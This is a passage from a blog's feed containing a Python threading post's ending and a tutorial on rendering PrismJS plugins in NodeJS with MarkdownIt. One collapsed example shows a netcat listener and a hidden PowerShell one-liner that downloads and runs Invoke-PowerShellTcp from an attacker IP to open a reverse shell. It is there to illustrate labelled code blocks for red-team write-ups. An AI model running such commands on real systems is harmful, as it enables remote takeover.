        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ThreadPoolExecutor&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_workers&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    futures &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        f &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;submit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;thread_function&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;add_done_callback&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;callback&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;append&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;# Results get handled in the background!&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Do other stuff...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt; &lt;a href=&quot;https://github.com/epi052/feroxbuster&quot;&gt;feroxbuster&lt;/a&gt;, a popular pentesting tool, has interactive pause for runtime addition of filters and pruning of exploration paths. Quite useful for reducing false positives and saving time! &lt;a href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Of course, it&#39;s possible to do the same with &lt;code&gt;time.sleep&lt;/code&gt; by breaking the sleep into smaller pieces and looping. In fact, Python 2&#39;s implementation of &lt;code&gt;event.wait()&lt;/code&gt; was exactly like that — a while loop calling &lt;code&gt;time.sleep&lt;/code&gt; with tiny intervals. This turned out to be inefficient (by acquiring the GIL repeatedly) and caused a few bugs. In Python 3, &lt;code&gt;event.wait()&lt;/code&gt; is properly implemented in C with interrupts! Check out this &lt;a href=&quot;https://stackoverflow.com/a/29082411&quot;&gt;SO answer&lt;/a&gt; for more gory details. &lt;a href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>programming</category>
        
          <category>python</category>
        
          <category>tutorial</category>
        
          <category>infosec</category>
        
          <category>pentesting</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>How to Use PrismJS Plugins with NodeJS and MarkdownIt</title>
        <description>Improve your storytelling with these dead simple hacks for rendering fancy Prism plugins in Node!</description>
        <link href="https://trebledj.me/posts/prism-plugins-in-node/"/>
        <updated>2024-11-03T00:00:00Z</updated>
        <id>https://trebledj.me/posts/prism-plugins-in-node/</id>
        <content xml:lang="en" type="html">&lt;p&gt;With over 7 million weekly downloads on NPM, PrismJS is one of the most widely used code highlighting packages in JavaScript, lauded for its unparalleled extensibility through plugins. But one recurring issue plagues developers: most plugins require a &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;document object model, responsible for managing the UI you see in your wonderful browser&quot;&gt;DOM&lt;/abbr&gt;! Fancy plugins such as &lt;code&gt;command-line&lt;/code&gt;, &lt;code&gt;line-numbers&lt;/code&gt;, and the toolbar suite require a DOM to manipulate HTML. This isn&#39;t normally possible in runtime environments such as Node, which aren&#39;t designed to render UIs, hence, no DOM.&lt;/p&gt;
&lt;p&gt;In this post, I’ll demonstrate a few simple changes to easily coerce these plugins into compatibility with NodeJS and MarkdownIt, a popular markdown renderer.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&quot;why-enhance-codeblocks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#why-enhance-codeblocks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Why enhance codeblocks?&lt;/h2&gt;
&lt;p&gt;Simple codeblocks suffice for most writers who need supporting text with pretty colours. But maybe you want your codeblocks to simply look &lt;em&gt;flashier&lt;/em&gt;. Or maybe you want better tools &lt;em&gt;to tell a story&lt;/em&gt;!&lt;/p&gt;
&lt;p&gt;To tell a good story, the characters, plot, and location need to be clear to the audience. Similarly, blog posts and tutorials benefit from enhancements such as command-line demarcations, line numbers, labels, and inline markup.&lt;/p&gt;
&lt;p&gt;There are many cases where such codeblocks are warranted (brackets contain remedial plugins):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Interaction: input and output should be contrasted, think: shell or Jupyter notebook (command-line)&lt;/li&gt;
&lt;li&gt;A post compares or demonstrates a technique in multiple languages (show-language)&lt;/li&gt;
&lt;li&gt;Code is executed in multiple, distinct environments (command-line, label)&lt;/li&gt;
&lt;li&gt;A post refers to a code snippet within a large file (line-numbers)&lt;/li&gt;
&lt;li&gt;A post refers to multiple files (label)&lt;/li&gt;
&lt;/ul&gt;
&lt;details&gt;&lt;summary&gt;Example: Catching Reverse Shells (Labels and Command-Line)&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;This is really useful when presenting narratives for red teaming scenarios, where multiple machines are involved.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Here are some simple notes on catching a reverse shell from a Windows machine.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Get our IP.&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Attacker&quot; class=&quot;command-line language-shell&quot; data-prompt=&quot;kali@kali $&quot; data-output=&quot;2-10&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-shell&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;kali@kali $&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;ifconfig&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;eth0: flags=4163&amp;lt;UP,BROADCAST,RUNNING,MULTICAST&amp;gt;  mtu 1500&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;    inet 192.168.100.100  netmask 255.255.255.0  broadcast 192.168.100.255&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;    ...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Attacker&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Listen for incoming connections on port 4444.&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Attacker&quot; class=&quot;command-line language-shell&quot; data-prompt=&quot;kali@kali $&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-shell&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;kali@kali $&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;nc&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-nlvp&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4444&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Attacker&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Download and execute &lt;code&gt;Invoke-PowerShellTcp&lt;/code&gt; on the victim.&lt;/em&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;Victim&quot; class=&quot;command-line language-powershell&quot; data-prompt=&quot;PS C:&#92;&gt;&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-powershell&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;PS C:&#92;&gt;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;powershell &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;nop &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;w hidden &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;c &lt;span class=&quot;token string&quot;&gt;&quot;iex (New-Object Net.WebClient).DownloadString(&#39;http://192.168.100.100/Invoke-PowerShellTcp.ps1&#39;);Invoke-PowerShellTcp -Reverse -IPAddress 192.168.100.100 -Port 4444&quot;&lt;/span&gt; &lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;Victim&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;PowerShell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;It&#39;s clear that our character shifts from Scene 1 to Scene 2, with less sentence clutter.&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;Another problem I notice on many documentation pages is the use of &lt;code&gt;$&lt;/code&gt;, denoting the start of a new command on a shell. These are poor for a couple reasons: it doesn&#39;t accurately present the actual code (from both the writer&#39;s and readers&#39; PoV) and may disrupt syntax highlighters.&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Example: The Obstructive $ (Command-Line)&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;These are commonly seen in installation scripts or guides. Here&#39;s an example installing a Makefile-based project:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;$ &lt;span class=&quot;token function&quot;&gt;tar&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-xvzf&lt;/span&gt; who_doesnt_like_to_copy_lines_of_code_one_by_one.tar.gz
$ &lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; who_doesnt_like_to_copy_lines_of_code_one_by_one
$ ./configure
$ &lt;span class=&quot;token function&quot;&gt;make&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-j4&lt;/span&gt;
$ &lt;span class=&quot;token function&quot;&gt;make&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Atrocious! You can&#39;t copy multiple lines without the nasty $ getting in the way! What terrible UX. It&#39;s like when your parent or sibling stands in front of the television!&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Compare it to this:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;tar&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-xvzf&lt;/span&gt; who_doesnt_like_to_copy_lines_of_code_one_by_one.tar.gz&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token builtin class-name&quot;&gt;cd&lt;/span&gt; who_doesnt_like_to_copy_lines_of_code_one_by_one&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;./configure&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;make&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-j4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token command&quot;&gt;&lt;span class=&quot;token function&quot;&gt;make&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;With that small rant out of the way, let&#39;s begin!&lt;/p&gt;
&lt;h2 id=&quot;step-1-expose-a-dom-api&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#step-1-expose-a-dom-api&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Step 1: Expose a DOM API&lt;/h2&gt;
&lt;p&gt;To make Node seem like a browser, we want to introduce &lt;code&gt;document&lt;/code&gt; and &lt;code&gt;window&lt;/code&gt; globals. These are the two keys variables used by Prism to manipulate HTML. &lt;code&gt;window&lt;/code&gt; isn&#39;t really called; it&#39;s mostly for UI behaviour. &lt;code&gt;document&lt;/code&gt;, however, is used rather heavily.&lt;/p&gt;
&lt;div class=&quot;alert alert-danger d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-radiation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;This could have adverse effects on libraries which use unified code for both browser and runtime environments. Introducing &lt;code&gt;document&lt;/code&gt; and &lt;code&gt;window&lt;/code&gt; &lt;em&gt;might&lt;/em&gt; have unintended spillover effects... In most cases though, this shouldn&#39;t break anything.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The easiest solution is to glue a DOM manipulation library such as JSDOM or domino, and create global &lt;code&gt;window&lt;/code&gt;/&lt;code&gt;document&lt;/code&gt; variables. I’ve chosen to use &lt;a href=&quot;https://www.npmjs.com/package/domino&quot;&gt;domino&lt;/a&gt; since it renders codeblocks much faster than JSDOM, with zero additional dependencies.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; domino&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; domino &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;domino&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
global&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;window &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; domino&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;createWindow&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
global&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;getComputedStyle &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; global&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;window&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;getComputedStyle&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
global&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;document &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; global&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;window&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;document&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JavaScript&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;NodeJS&#39;s &lt;code&gt;global&lt;/code&gt; object enables us to add global variables. Now Prism can access our &lt;code&gt;window&lt;/code&gt; and &lt;code&gt;document&lt;/code&gt; globals.&lt;/p&gt;
&lt;p&gt;For convenience later, we’ll also create a function which converts HTML strings to DOM objects. We&#39;ll use the &lt;code&gt;template&lt;/code&gt; element to achieve this.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-js&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;textToDOM&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; templ &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;template&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  templ&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;innerHTML &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; text&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; templ&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;JavaScript&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;step-2-override-markdownit-fence-rendering&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#step-2-override-markdownit-fence-rendering&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Step 2: Override MarkdownIt Fence Rendering&lt;/h2&gt;
&lt;p&gt;While MarkdownIt works great out-of-the-box, the default &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Rendering is the process of convert raw code to a presentable HTML format.&quot;&gt;rendering&lt;/abbr&gt; rules for code blocks are inherently incompatible with most Prism plugins. MarkdownIt&#39;s renderer passes text as input to an arbitrary highlight function, but Prism’s full-featured highlighting expects a DOM Element node. They don&#39;t speak the same language!&lt;/p&gt;
&lt;p&gt;Prism has two primary highlight functions: &lt;code&gt;Prism.highlight&lt;/code&gt; and &lt;code&gt;Prism.highlightElement&lt;/code&gt;. Most server-side libraries are happy to use the former. But a lot of &lt;em&gt;hooks&lt;/em&gt; aren&#39;t called by &lt;code&gt;.highlight&lt;/code&gt;, so we&#39;ll also have to customise the renderer to call &lt;code&gt;.highlightElement&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;We&#39;ll reference &lt;a href=&quot;https://github.com/markdown-it/markdown-it/blob/0fe7ccb4b7f30236fb05f623be6924961d296d3d/lib/renderer.mjs#L29&quot;&gt;MarkdownIt&#39;s default fence rule&lt;/a&gt; and customise it accordingly.&lt;/p&gt;
&lt;div class=&quot;alert alert-danger d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-radiation ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;The code presented below will override the &lt;code&gt;.renderer.rules.fence&lt;/code&gt; rule completely, overwriting any previous implementations.&lt;/p&gt;
&lt;p&gt;If you use another plugin which reuses the fence rule (e.g. &lt;code&gt;markdown-it-prism&lt;/code&gt;), consider calling code in this order: 1) the below fence-override code, 2) other code. This way no code is overwritten and lost.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Here are the changes we&#39;ll make:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Remove the default text-based highlighting &lt;code&gt;options.highlight&lt;/code&gt;. We still need to escape the HTML because we&#39;ll substitute it in a HTML string.&lt;/li&gt;
&lt;li&gt;(Optional, if you want &lt;code&gt;diff&lt;/code&gt; support.) Handle &lt;code&gt;diff-*&lt;/code&gt; languages by loading the right language.&lt;/li&gt;
&lt;li&gt;Wrap the escaped code in &lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;pre&amp;gt;&amp;lt;code&amp;gt;&lt;/code&gt; with the right attributes&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fn5&quot; id=&quot;fnref5&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;, convert it to a DOM element, highlight it to &lt;code&gt;Prism.highlightElement&lt;/code&gt;, then return the rendered HTML.&lt;/li&gt;
&lt;li&gt;We also moved the attributes to &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; instead of &lt;code&gt;&amp;lt;code&amp;gt;&lt;/code&gt;, which is required for PrismJS to function properly.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The most important part is step 3, where we call Prism magic with &lt;code&gt;.highlightElement&lt;/code&gt;.&lt;/p&gt;
